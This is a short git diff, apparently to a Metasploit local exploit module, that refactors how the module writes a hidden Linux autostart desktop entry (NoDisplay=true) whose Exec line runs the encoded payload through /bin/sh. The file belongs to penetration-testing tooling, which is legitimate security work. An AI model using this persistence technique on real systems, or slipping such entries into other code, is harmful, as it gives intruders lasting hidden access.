diff --git a/modules/exploits/linux/local/autostart_persistence.rb b/modules/exploits/linux/local/autostart_persistence.rb index fec187c18b..29b07bdaf4 100644 --- a/modules/exploits/linux/local/autostart_persistence.rb +++ b/modules/exploits/linux/local/autostart_persistence.rb @@ -52,14 +52,14 @@ class MetasploitModule < Msf::Exploit::Local print_status('Uploading autostart file') cmd_exec("rm #{path}") - write_file(path, <<~HEREDOC - [Desktop Entry] - Type=Application - Name=#{name} - NoDisplay=true - Terminal=false - Exec=/bin/sh -c "#{payload.encoded}" - HEREDOC) + write_file(path, [ + "[Desktop Entry]", + "Type=Application", + "Name=#{name}", + "NoDisplay=true", + "Terminal=false", + "Exec=/bin/sh -c \"#{payload.encoded}\"" + ].join("\n")) end end